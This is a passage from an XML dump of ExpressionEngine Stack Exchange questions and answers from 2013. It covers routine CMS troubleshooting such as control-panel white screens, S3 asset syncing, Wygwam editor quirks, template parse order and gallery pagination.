LastActivityDate="2013-03-22T08:49:58.667" Title="P&amp;T Field pack within Safecracker" Tags="|safecracker|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5802" PostTypeId="1" AcceptedAnswerId="6500" CreationDate="2013-02-04T15:28:02.210" Score="2" ViewCount="519" Body="&lt;p&gt;Yesterday I went live with a site from my development server (WAMP) to my production server (LAMP).  I made all of my changes to paths and DB, and while the site was coming up, I was having some issues getting into the CP.  I think it was a URL issue as the domain name under which I was developing was different than the live site.  I finally got it straightened out and was able to get logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere along the line, I must have made an adjustment that then broke things.  The front end of the site still works, but I’m now getting the dreaded WSoD when accessing the CP.  Very strange since it was workign fine.  So somewhere I must have made an adjustment that broke things.  Retracing my steps hasn't solved anything.  Hopefully the following provides something that triggers an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When logging in, it goes to the authenticate URL, then to the home page URL where it gives me the WSoD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried altering the URL to see if I could access other parts of the CP.  Here are the results:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WSoD – any of the add-ons (modules, accessories, extensions, field-types, plugins)&lt;/li&gt;&#xA;&lt;li&gt;WSoD – home page&lt;/li&gt;&#xA;&lt;li&gt;CAN ACCESS – templates, template manager, snippets, etc.&lt;/li&gt;&#xA;&lt;li&gt;CAN ACCESS – area to manage members and groups&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I’ve tried to turn on debugging in my admin.php template, as well as the index.php and system/index.php.  Doing so provides no additional information.  I’ve also re-uploaded the files and dropped the DB and imported again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent several hours last night trying everything I could think of.  So any help is very much appreciated.  The answer is probably in front of me, but my head is hurting from banging it on the wall!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-02-19T00:17:40.727" Title="Control Panel - Strange WSOD Issue" Tags="|control-panel|white-screen-of-death|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5803" PostTypeId="1" AcceptedAnswerId="5910" CreationDate="2013-02-04T15:28:33.880" Score="0" ViewCount="252" Body="&lt;p&gt;I've managed to connect to the S3 bucket on my live server, but when pressing &quot;Refresh&quot; on my WAMP running on localhost that list doesn't populate / is blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't an error message as far as I can tell. Is there a way that I can debug why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: to clarify, this is for Assets 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Andrew&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2013-02-04T15:34:37.110" LastActivityDate="2013-03-08T13:37:40.430" Title="Connecting to S3 on localhost WAMP" Tags="|assets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5804" PostTypeId="2" ParentId="5776" CreationDate="2013-02-04T15:29:28.283" Score="0" Body="&lt;p&gt;or you can try &lt;code&gt;{if '{content_featureimage}' == ''}&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-02-04T15:29:28.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5805" PostTypeId="1" AcceptedAnswerId="5807" CreationDate="2013-02-04T16:29:20.267" Score="3" ViewCount="303" Body="&lt;p&gt;In the control panel, is it possible to only show a field when editing a single particular entry using JS/jQuery? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a matrix field, in case this makes any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-02-04T16:38:08.393" Title="In the control panel, is it possible to only show a field when editing a single particular entry using JS/jQuery?" Tags="|control-panel|javascript|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5806" PostTypeId="1" AcceptedAnswerId="5808" CreationDate="2013-02-04T16:30:38.880" Score="3" ViewCount="237" Body="&lt;p&gt;I have a live site with many entries and the client would like to change the Text Areas to Wygwam fields in order to leverage the Wygwam features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make this change, will I lose any existing data? Is there something I need to do to avoid losing data in the change over?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-02-04T16:43:34.303" Title="Do I lose data if I change a text area field to Wygwam?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5807" PostTypeId="2" ParentId="5805" CreationDate="2013-02-04T16:30:40.957" Score="2" Body="&lt;p&gt;Yes. You could write jQuery script that you put in the Instructions field for that entry. You could check the URL in JavaScript/jQuery for the particular Entry ID you want to isolate, and then hide the corresponding field &amp;amp; label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; A Matrix field will still have an Instructions field in its Channel Fields definition, and that Instructions field can store HTML or script tags that will be processed when the page is rendered. You'll just need to View Source to see what the HTML is that contains the field, and hide it based on that HTML reference using jQuery.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-04T16:38:08.393" LastActivityDate="2013-02-04T16:38:08.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5808" PostTypeId="2" ParentId="5806" CreationDate="2013-02-04T16:36:42.480" Score="3" Body="&lt;p&gt;No, you will not lose any existing data. Additionally, Wygwam gives you an option to &quot;convert previous entries&quot; which is very handy if your textarea field formatting was set to &quot;Auto &amp;lt;br /&amp;gt;&quot; or &quot;XHTML&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVbkt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-04T16:43:34.303" LastActivityDate="2013-02-04T16:43:34.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5809" PostTypeId="1" AcceptedAnswerId="5812" CreationDate="2013-02-04T17:25:34.323" Score="0" ViewCount="433" Body="&lt;p&gt;I am running into an error when editing content in Chrome on Mac. I upgraded to Wygwam v2.7 to ensure I was using the latest version. I am using EE v2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When adjusting paragraph text, if I delete the break and merge it with the previous paragraph then create a new paragraph, SPAN tags are being added. You can see the example in this video, &lt;a href=&quot;http://cl.ly/3S2N0z2p1G3p&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/3S2N0z2p1G3p&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what is causing the issue?&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="268" LastEditDate="2013-02-05T04:23:56.873" LastActivityDate="2013-02-05T04:23:56.873" Title="Wygwam Adding Extra Span Tags with Font-Size Style" Tags="|add-on|wygwam|pixelandtonic|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5810" PostTypeId="2" ParentId="5766" CreationDate="2013-02-04T17:32:44.193" Score="3" Body="&lt;p&gt;Thank you all for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of digging around, once again the culprit was everyone's friend htaccess.  There was a rogue rule that included /images/ which seems to occasionally interfere, removing the rule, clearing the /made folder, clearing the EE tag cache and we are back in business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phew...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lesson learnt, if in doubt it's always blooming .htaccess :-)&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-02-04T17:32:44.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5811" PostTypeId="2" ParentId="5496" CreationDate="2013-02-04T17:34:32.757" Score="0" Body="&lt;p&gt;Stephen, I did some more searching around and came across this tutorial, which uses Freebie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.idfive.com/blog/2011/02/matrix-structure-freebie-expression-engine-image-gallery/&quot; rel=&quot;nofollow&quot;&gt;http://www.idfive.com/blog/2011/02/matrix-structure-freebie-expression-engine-image-gallery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if that might be the answer you're looking for.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-04T17:34:32.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5812" PostTypeId="2" ParentId="5809" CreationDate="2013-02-04T17:52:10.600" Score="2" Body="&lt;p&gt;It appears that this may be a &lt;a href=&quot;http://dev.ckeditor.com/ticket/9998&quot; rel=&quot;nofollow&quot;&gt;bug with CKEditor&lt;/a&gt;  That bug report is for v4, but looks like it may also impact v3.x as well. &lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-04T17:52:10.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5813" PostTypeId="1" AcceptedAnswerId="5815" CreationDate="2013-02-04T18:06:00.650" Score="1" ViewCount="269" Body="&lt;p&gt;When storing images to S3 with Assets 2, is it possible to store the images created by ExpressionEngine's native image manipulation functionality to S3 as well, or must they be saved to a local directory?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-02-04T18:10:51.030" Title="EE's Native Image Manipulations Stored on S3 with Assets 2?" Tags="|assets|image|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5814" PostTypeId="2" ParentId="5809" CreationDate="2013-02-04T18:10:34.470" Score="2" Body="&lt;p&gt;As a good stop gap solution, Tyssen suggested that I add this code to my CSS: &lt;code&gt;span[style]: line-height: inherit !important; font-size: inherit !important;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-02-04T18:10:34.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5815" PostTypeId="2" ParentId="5813" CreationDate="2013-02-04T18:10:51.030" Score="2" Body="&lt;p&gt;The Image Manipulations with EE are directly tied to a File Upload preference - which is a local source item, not an S3 bucket.  I don't think that what you want is currently possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what I hear you saying is that you wish to use image manipulations and have those modified images uploaded/stored/referenced via S3.  Is that right?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-04T18:10:51.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5816" PostTypeId="2" ParentId="5593" CreationDate="2013-02-04T18:11:53.820" Score="3" Body="&lt;p&gt;The Garnish UI library used by Assets tests for a single left click using the mousedown and mouseup events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately IE 8 returns the value of 1 when the left mouse button is clicked, and the garnish library tests for 0, which is what the W3C says it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see &lt;a href=&quot;http://www.quirksmode.org/js/events_properties.html#button&quot; rel=&quot;nofollow&quot;&gt;http://www.quirksmode.org/js/events_properties.html#button&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had to fix this for a client deadline, so it's a bit of a hack but not too bad as Pixel and Tonic provides un-minified js files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First change the helper.php in system/expressionengine/third_party/assets directory to load the un-minified js file, on line 157 change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filename = 'garnish-'.self::$_garnish_version.'.min.js';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filename = 'garnish-'.self::$_garnish_version.'.js';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next change the garnish-0.1.js in the themes/third_party/assets/lib folder. There are 4 occurrences of the string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ev.button != Garnish.PRIMARY_CLICK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ev.button === Garnish.SECONDARY_CLICK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've not tested this thoroughly but it's sorted my problem out for now. &lt;/p&gt;&#xA;" OwnerUserId="921" LastActivityDate="2013-02-04T18:11:53.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5817" PostTypeId="2" ParentId="5779" CreationDate="2013-02-04T18:19:21.980" Score="1" Body="&lt;p&gt;Mitchell -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entries will need to be re-saved to take advantage of that feature.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-04T18:19:21.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5818" PostTypeId="1" AcceptedAnswerId="5821" CreationDate="2013-02-04T19:12:11.850" Score="1" ViewCount="130" Body="&lt;p&gt;Is there a simple way to show all entries for a channel, and the current entry 'position' from the count without using Pagination (don't want to affect URLS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first entry from three entries for a channel would show:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;1 of 3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last entry from same set of entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;3 of 3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at count, absolute count, total_results and absolute_results but can't find a simple solution... Any guidance would be appreciated. I'm sure I'm missing something easy here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta, Liam&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="293" LastEditDate="2013-02-04T19:34:29.060" LastActivityDate="2013-02-04T19:34:32.170" Title="How to show the current position of an entry within all entries" Tags="|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5820" PostTypeId="1" CreationDate="2013-02-04T19:24:05.970" Score="2" ViewCount="227" Body="&lt;p&gt;Looks like Assets, when creating the &quot;_thumbs&quot; folder... is using &quot;666&quot; permissions... This is creating an issue with being able to access files through my standard sftp account. Unless the file is 777 I cannot touch it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason the &quot;_thumbs&quot; is not 777 ? Is this a bug possibly? &lt;/p&gt;&#xA;" OwnerUserId="945" LastActivityDate="2013-02-05T17:17:24.143" Title="P&amp;T Assets: thumbs folder file permissions" Tags="|assets|pixelandtonic|permissions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5821" PostTypeId="2" ParentId="5818" CreationDate="2013-02-04T19:27:04.837" Score="3" Body="&lt;p&gt;Ha. That awkward moment when you find the answer to your exact same question answered by yourself a year previously...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/220271/#1016285&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/220271/#1016285&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there an easy way to pull and entries count in so it might display&#xA;  on a single entry page like&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Product 5 / 40  Where the channel contains 40 products and this is the&#xA;  5th product in the channel (when sorted by date/name/custom field etc&#xA;  etc).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;  {if segment_x == url_title}{count} / {total_results}{/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shame the redirects for old forum posts aren't quite correct as this wasn't showing in Google, had to do some canny searching to dig it up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the replies all the same chaps.&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="22" LastEditDate="2013-02-04T19:34:32.170" LastActivityDate="2013-02-04T19:34:32.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5823" PostTypeId="1" AcceptedAnswerId="5837" CreationDate="2013-02-04T19:34:53.920" Score="1" ViewCount="63" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2450/displaying-all-products-on-sale-with-expresso-store&quot;&gt;Displaying all products on sale with exp:resso store?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I want to have a page on our store that displays only items that are on sale. What's the most efficient way to write this query?&lt;/p&gt;&#xA;" OwnerUserId="946" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-02-05T04:25:35.090" Title="How to query only products on sale" Tags="|add-on|expresso-store|" AnswerCount="1" CommentCount="0" ClosedDate="2013-02-05T06:04:40.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="5825" PostTypeId="2" ParentId="5634" CreationDate="2013-02-04T20:17:23.103" Score="0" Body="&lt;p&gt;Used the PHP solution below in my 404 template based on Paul's suggestion, so no htaccess more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $segment_1 = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;segment_vars[&quot;segment_1&quot;];&#xA;    if($segment_1!=&quot;en&quot; &amp;amp;&amp;amp; $segment_1!=&quot;fr&quot; &amp;amp;&amp;amp; $segment_1!=&quot;nl&quot; &amp;amp;&amp;amp; $segment_1!=&quot;de&quot;)&#xA;    {&#xA;        redirect('/en/' . $segment_1, 'location', 301);&#xA;    }&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-04T20:17:23.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5826" PostTypeId="1" CreationDate="2013-02-04T20:23:58.130" Score="0" ViewCount="211" Body="&lt;p&gt;Hi I'm having a parse order issue that I can't seem to figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;some code here  &#xA;&amp;lt;div class=&quot;content-line&quot;&amp;gt;&#xA;&#xA;    {exp:low_variables:parse var=&quot;lv-inner-content&quot;&#xA;    preparse:transcribe:language_abbreviation=&quot;{transcribe:language_abbreviation}&quot;&#xA;    preparse:channel-name=&quot;{segment_1}&quot;&#xA;    }&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;more code here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Low variable contains the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- content inner page --&amp;gt;&#xA;&amp;lt;div class=&quot;column two-thirds inner-page-content&quot;&amp;gt;&#xA;{exp:switchee variable = &quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;&#xA;    {case value=&quot;#^P(\d+)$#|''|products&quot;}&#xA;    listing page&#xA;    {exp:channel:entries channel=&quot;{channel-name}&quot; disable=&quot;member_data|category_fields&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;        {exp:ce_img:pair src=&quot;{product-photo}&quot; max=&quot;125&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;y&quot; fallback_src=&quot;/images/bladder-logo.jpg&quot;}&#xA;            &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;        {/exp:ce_img:pair}&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p class=&quot;post-meta&quot;&amp;gt;&#xA;                posted on {entry_date format=&quot;%F %d&quot;}&#xA;            &amp;lt;/p&amp;gt;&#xA;                {product-content}&#xA;                &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; class=&quot;read-more&quot;&amp;gt;{exp:transcribe:replace name=&quot;read-more&quot;}&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;dbl-dott-wrapper&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        {paginate}&#xA;        &amp;lt;div class=&quot;pager&quot;&amp;gt;&#xA;        {pagination_links}&#xA;            {previous_page}&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;pager-previous&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;&#xA;            {/previous_page}&#xA;&#xA;             {!--&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt; --}&#xA;&#xA;             {page}&#xA;             &amp;lt;a href=&quot;{pagination_url}&quot; {if current_page}class=&quot;active&quot;{/if}&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt; &#xA;             {/page}&#xA;&#xA;             {!--&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt; --}&#xA;&#xA;             {next_page}&#xA;             &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;pager-next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;             {/next_page}&#xA;&#xA;        {/pagination_links}&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/paginate}&#xA;&#xA;    {/exp:channel:entries}&#xA;    {/case}&#xA;&#xA;&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;    default=yes&#xA;    {exp:channel:entries channel=&quot;{channel-name}&quot; disable=&quot;member_data|category_fields&quot; limit=&quot;1&quot;}&#xA;        {exp:ce_img:pair src=&quot;{product-photo}&quot; max=&quot;125&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;y&quot; fallback_src=&quot;/images/person_default.png&quot;}&#xA;            &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;        {/exp:ce_img:pair}&#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p class=&quot;post-meta&quot;&amp;gt;&#xA;                posted on {entry_date format=&quot;%F %d&quot;}&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;                {product-content}&#xA;&#xA;        &amp;lt;div class=&quot;dbl-dott-wrapper&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;!-- Comments --&amp;gt;&#xA;&amp;lt;h2 class=&quot;fs15 col-3e3b3b wei700&quot;&amp;gt;Comments&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div class=&quot;separator17&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;comments-list&quot;&amp;gt;&#xA;&#xA;    {exp:comment:entries channel=&quot;{channel-name}&quot; sort=&quot;asc&quot;}&#xA;    {if no_results}&#xA;    &amp;lt;div class=&quot;comment-item&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;comment-text&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;There are no comments yet, why not be the first to comment?&amp;lt;/p&amp;gt;  &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;&#xA;    &amp;lt;div class=&quot;comment-item&quot;&amp;gt;&#xA;        {!--&amp;lt;div class=&quot;comment-avatar&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;images/55x55/comment-avatar.jpg&quot; alt=&quot;&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;--}&#xA;        &amp;lt;div class=&quot;comment-text&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-info&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;{url_as_author}&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;div class=&quot;comment-date&quot;&amp;gt;{comment_date format=&quot;%d %M, %Y %g:%i%A&quot;}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {comment}                       &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:comment:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- end comments --&amp;gt;&#xA;&amp;lt;div class=&quot;dbl-dott-wrapper&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;leave-comment&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;fs15 col-3e3b3b&quot;&amp;gt;Leave a Reply&amp;lt;/h2&amp;gt;&#xA;    {exp:comment:form channel=&quot;{channel-name}&quot;}&#xA;        &amp;lt;div class=&quot;columns four alpha&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;span class=&quot;colored-blue&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; required&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;columns four&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;span class=&quot;colored-blue&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input name=&quot;email&quot; type=&quot;email&quot; value=&quot;{email}&quot; required&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;label&amp;gt;Commment&amp;lt;span class=&quot;colored-blue&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot; cols=&quot;100&quot; rows=&quot;5&quot; required&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;span class=&quot;btn btn-blue&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Post Comment&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/exp:comment:form}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;separator8&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;    {/case}&#xA;{/exp:switchee} &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- /content inner page --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to use this template in a few template groups so have split out the repeated code into a low_variable which should be fine. However it's not working as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the single entry page is being displayed when the switchee tags are inside the low variable. When I take the code out of the low variable and put it into the main template everything works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would really like to keep this as a low variable but I'm not sure what I need to change to get this to work. Have tried turning on/off early parsing with no change.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-02-04T20:23:58.130" Title="Low Variables with Switchee - parse order issue" Tags="|templates|parse-order|low-variables|switchee|template-partials|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5827" PostTypeId="2" ParentId="5496" CreationDate="2013-02-04T21:34:36.077" Score="2" Body="&lt;p&gt;I managed to get this working via lots of help from Lisa Wess (legend) and [Freebie][1]. I installed Freebie and set the 'Freebie Segments' to the number of images I wanted per page in my gallery. I then substituted all {segment_x} tags with {freebie_x} tags and changed some conditionals from my previous code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My new template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;             {preload_replace:rows_per_page=&quot;3&quot;}&#xA;                {exp:channel:entries channel=&quot;gallery&quot; url_title=&quot;{freebie_2}&quot; dynamic=&quot;no&quot;}    &#xA;                    {if gallery_image}&#xA;                        &amp;lt;div id=&quot;gallery&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;                            {gallery_image offset=&quot;{freebie_3}&quot; limit=&quot;{rows_per_page}&quot;}&#xA;                                &amp;lt;div class=&quot;{switch=&quot;galleryImage|galleryImage|galleryImageLast&quot;}&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{big_image}&quot; rel=&quot;lightbox-gallery&quot; title=&quot;{image_title}&quot;&amp;gt;&amp;lt;img src=&quot;{small_image}&quot; alt=&quot;{image_title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                    {/gallery_image}    &#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- End gallery --&amp;gt;&#xA;&#xA;                    {if freebie_3 == '3'}&#xA;                        &amp;lt;a 